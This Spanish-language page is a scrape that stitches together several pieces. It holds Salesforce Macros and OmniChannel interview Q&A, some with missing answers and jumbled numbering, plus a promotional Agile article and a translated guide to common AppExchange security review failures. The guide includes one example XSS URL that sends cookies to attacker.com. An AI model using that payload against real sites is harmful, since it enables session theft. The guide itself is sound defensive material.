Las macros no interactúan directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.
11. ¿Se pueden utilizar las macros junto con Salesforce Flows?
Las macros y los flujos tienen diferentes propósitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.
12. ¿Cómo funciona el manejo de errores con Macros?
Si una macro encuentra un problema durante la ejecución, se detiene y se muestra un mensaje de error.
13. ¿Pueden los usuarios sin privilegios de administrador crear o modificar macros?
Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.
14. ¿Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?
No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditoría estándar de Salesforce para ver los cambios en los registros.
15. ¿Cuál es el papel de las instrucciones macro en el proceso de creación?
Las instrucciones macro son el corazón de la macro y dictan qué acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.
29. ¿Puedes usar macros para enviar correos electrónicos con archivos adjuntos?
No, las macros pueden automatizar el proceso de envío de un correo electrónico, pero no pueden agregar archivos adjuntos.
1. ¿Puedes explicar qué es OmniCanal en Salesforce?
OmniCanal es una característica de Salesforce que permite la gestión de elementos de trabajo entrantes desde diferentes canales de comunicación. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en función de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.
2: ¿Cómo beneficia OmniCanal a un equipo de servicio al cliente?
OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.
3. ¿Cuál es la diferencia entre OmniCanal y distribución del trabajo tradicional?
La distribución tradicional del trabajo a menudo implica una asignación manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige automáticamente el trabajo a los agentes más adecuados según criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea más rápido y eficiente.
4. ¿Puede explicar el “Estado de presencia” en OmniCanal?
“Estado de presencia” se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si están disponibles, ocupados o ausentes, y OmniCanal utiliza esta información para enrutarles el trabajo en consecuencia.
5. ¿Cómo garantiza OmniCanal que los casos de alta prioridad se manejen rápidamente?
OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan automáticamente según estos niveles de prioridad. Los elementos de alta prioridad se envían al principio de la cola para que se atiendan más rápido.
6. ¿Se puede integrar OmniCanal con otras funciones de Salesforce?
Sí, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atención al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.
7. ¿Cómo admite OmniCanal los diferentes canales de comunicación?
OmniCanal es versátil al admitir varios canales de comunicación como correo electrónico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a través de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.
8. ¿Puede describir un escenario en el que el enrutamiento omnicanal podría resultar beneficioso?
Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles según sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.
9. ¿Cuáles son los tipos de Omni Channel?
Basado en cola → Asignar agentes a la cola
Basado en habilidades → Asignar habilidades a los agentes
Enrutamiento externo → Configuración de enrutamiento de terceros
10. ¿Cómo configurar Omni Channel?
11. ¿Cómo crear un Canal de Atención?
Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesión SOS o objeto personalizado.
12. ¿Cómo crear una configuración de enrutamiento?
Las configuraciones de enrutamiento determinan cómo se enrutan los elementos de trabajo a los agentes.
Utilícelos para priorizar la importancia relativa y el tamaño de los elementos de trabajo de sus colas.
13. ¿Explicar los ajustes de configuración de enrutamiento?
Prioridad de ruta:
El orden en el que los elementos de trabajo de la cola asociados con esta configuración de enrutamiento se enrutan a los agentes. Los objetos en colas con un número menor se enrutan primero a los agentes.
Modelo de enrutamiento:
Determina cómo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuración.
Tiempo de espera de empuje (segundos):
Establece un límite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.
Unidades de Capacidad:
Cantidad de capacidad total del agente.
1. ¿Cómo diseñaría una solución para respaldar a un equipo de soporte multilingüe que utiliza Service Cloud?
Service Cloud de Salesforce admite equipos multilingües mediante el uso de funciones como Translation Workbench, que le permite traducir objetos estándar y personalizados, reglas de validación, etiquetas de campo y más, a cualquiera de los idiomas admitidos.
Además, los artículos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar información en varios idiomas.
También puede configurar OmniCanal para enrutar casos a los agentes adecuados según sus habilidades lingüísticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacción del cliente.
2. ¿Puede explicarme el proceso de diseño de una solución de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resolución oportuna del caso?
3. ¿Cómo abordaría el diseño de una solución para un centro de llamadas a gran escala que necesita gestionar grandes volúmenes de casos y llamadas?
– Para los centros de llamadas de gran volumen, le conviene aprovechar la función OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados según su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integración de la telefonía mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la información relevante del cliente al alcance de su mano.
4. ¿Cuál es su experiencia con la integración de aplicaciones de terceros en Service Cloud y cómo ha abordado la solución de problemas de integración en el pasado?
Mi enfoque implica primero garantizar que la aplicación de terceros tenga una documentación API sólida y cumpla con las mejores prácticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integración, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si están disponibles.
5. ¿Cómo diseñaría una solución que utilice Service Cloud para rastrear la opinión del cliente e incorporar esa información en los flujos de trabajo de gestión de casos?
Service Cloud puede integrarse con herramientas que ofrecen análisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electrónicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opinión se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.
6. ¿Puede dar un ejemplo de cómo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?
Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aquí se puede acceder a los artículos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. También se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementación de un chatbot a través de Einstein Bots también puede desviar consultas rutinarias al proporcionar respuestas automáticas a preguntas comunes.
7. ¿Has trabajado con Service Cloud Voice? ¿Cómo ha utilizado esta tecnología para mejorar el rendimiento del call center y la satisfacción del cliente?
Service Cloud Voice integra la telefonía en Salesforce, brindando una vista unificada del cliente y transcripción de llamadas en tiempo real. Esto permite a los agentes centrarse más en el cliente que en tomar notas. La transcripción en tiempo real, impulsada por Einstein, también puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes más nuevos. La conclusión posterior a la llamada se acelera porque los datos de la llamada ya están en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos históricos de llamadas brindan información valiosa para el análisis de la opinión del cliente y el desempeño de los agentes, lo que impacta positivamente la capacitación y la satisfacción del cliente.
8. ¿Cómo abordaría el diseño de una solución para una empresa que opera en varios países con diferentes regulaciones de privacidad de datos?
– El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones específicas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar quién puede acceder a qué datos.
9. ¿Cómo ha abordado los problemas de escalabilidad y rendimiento al diseñar soluciones de Service Cloud para grandes empresas?
10. ¿Cómo ha utilizado Service Cloud para mejorar la retención de clientes y reducir las tasas de abandono?
En Service Cloud, la retención de clientes se puede mejorar significativamente utilizando las sólidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de análisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacción del cliente e identificar problemas comunes que provocan la insatisfacción del cliente. Al integrar los comentarios directamente en el sistema de gestión de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacción y retención del cliente. Además, características como la comunicación personalizada con el cliente, artículos de conocimiento para el autoservicio y la resolución eficiente de casos a través del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo así la deserción.
11. ¿Ha trabajado con la funcionalidad Live Agent de Service Cloud? ¿Cómo ha utilizado esta tecnología para mejorar las experiencias de atención al cliente?
Sí, utilicé Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instantáneamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacción general. Descubrí que incorporar el chat de Live Agent en sitios web y aplicaciones móviles donde los clientes son más activos reduce significativamente la barrera para acceder al soporte.
12. ¿Puede describir cómo diseñaría una solución de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado según el problema del cliente y el conjunto de habilidades del agente?
Para lograr esto, aprovecharíamos la función OmniCanal, que permite enrutar los casos según el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.
13. ¿Cómo abordaría el diseño de una solución de Service Cloud que pueda manejar grandes volúmenes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacción del cliente?
Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.
Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.
La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.
En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.
Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.
Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.
Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.
Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.
El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:
La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:
La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.
Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:
Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.
Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.
En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:
Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.
Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.
Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.
Estas son algunas de las mejores prácticas que puede probar:
Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.
Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.
La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.
Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.
A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.
Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.
Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.
Éstos son algunos de los posibles obstáculos y cómo superarlos:
La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.
Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.
Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.
Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
